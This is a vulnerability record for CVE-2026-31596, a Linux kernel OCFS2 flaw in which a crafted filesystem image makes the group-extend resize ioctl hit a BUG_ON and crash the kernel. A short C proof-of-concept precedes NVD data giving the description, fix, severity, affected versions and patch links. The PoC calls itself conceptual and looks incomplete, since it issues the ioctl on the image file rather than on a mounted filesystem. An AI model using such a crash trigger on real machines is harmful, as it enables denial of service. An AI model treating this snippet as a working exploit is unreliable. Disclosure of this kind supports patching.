CVE-2026-31596

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <sys/ioctl.h> #include <unistd.h> // This PoC demonstrates the concept of triggering the ioctl. // It requires a crafted OCFS2 filesystem image with an invalid dinode. #define OCFS2_IOC_GROUP_EXTEND _IOW('o', 1, int) int main() { int fd; const char *device = "./crafted_ocfs2.img"; // Open the crafted filesystem image fd = open(device, O_RDWR); if (fd < 0) { perror("Failed to open device"); return 1; } printf("Attempting to trigger OCFS2 group extend...\n"); // Trigger the vulnerable ioctl path // This calls ocfs2_ioctl -> ocfs2_group_extend // If the dinode is invalid, the kernel hits BUG_ON at resize.c:308 if (ioctl(fd, OCFS2_IOC_GROUP_EXTEND, 0) < 0) { perror("Ioctl failed (might have crashed kernel)"); } else { printf("Ioctl succeeded.\n"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31596", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:37.340", "lastModified": "2026-04-29T14:18:43.897", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2: handle invalid dinode in ocfs2_group_extend\n\n[BUG]\nkernel BUG at fs/ocfs2/resize.c:308!\nOops: invalid opcode: 0000 [#1] SMP KASAN NOPTI\nRIP: 0010:ocfs2_group_extend+0x10aa/0x1ae0 fs/ocfs2/resize.c:308\nCode: 8b8520ff ffff83f8 860f8580 030000e8 5cc3c1fe\nCall Trace:\n ...\n ocfs2_ioctl+0x175/0x6e0 fs/ocfs2/ioctl.c:869\n vfs_ioctl fs/ioctl.c:51 [inline]\n __do_sys_ioctl fs/ioctl.c:597 [inline]\n __se_sys_ioctl fs/ioctl.c:583 [inline]\n __x64_sys_ioctl+0x197/0x1e0 fs/ioctl.c:583\n x64_sys_call+0x1144/0x26a0 arch/x86/include/generated/asm/syscalls_64.h:17\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0x93/0xf80 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x76/0x7e\n ...\n\n[CAUSE]\nocfs2_group_extend() assumes that the global bitmap inode block\nreturned from ocfs2_inode_lock() has already been validated and\nBUG_ONs when the signature is not a dinode. That assumption is too\nstrong for crafted filesystems because the JBD2-managed buffer path\ncan bypass structural validation and return an invalid dinode to the\nresize ioctl.\n\n[FIX]\nValidate the dinode explicitly in ocfs2_group_extend(). If the global\nbitmap buffer does not contain a valid dinode, report filesystem\ncorruption with ocfs2_error() and fail the resize operation instead of\ncrashing the kernel."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.6.29", "versionEndExcluding": "6.6.136", "matchCriteriaId": "61A18ECC-DBBE-4804-B80E-C799CC05CD13"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/10fb72c47aac446f12a4ccd962c7daa60cc890a1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/41c6e9bc3a09539deab43957a3211d902a4818f0", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4a1c0ddc6e7bcf2e9db0eeaab9340dcfe97f448f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6575f9fbf084502b7118a628425bf7866666498d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/911b557dd7817460881fd51a03069b539c674d0e", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e384a850a3370d89a7a446cdeccd964bfba2a302", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}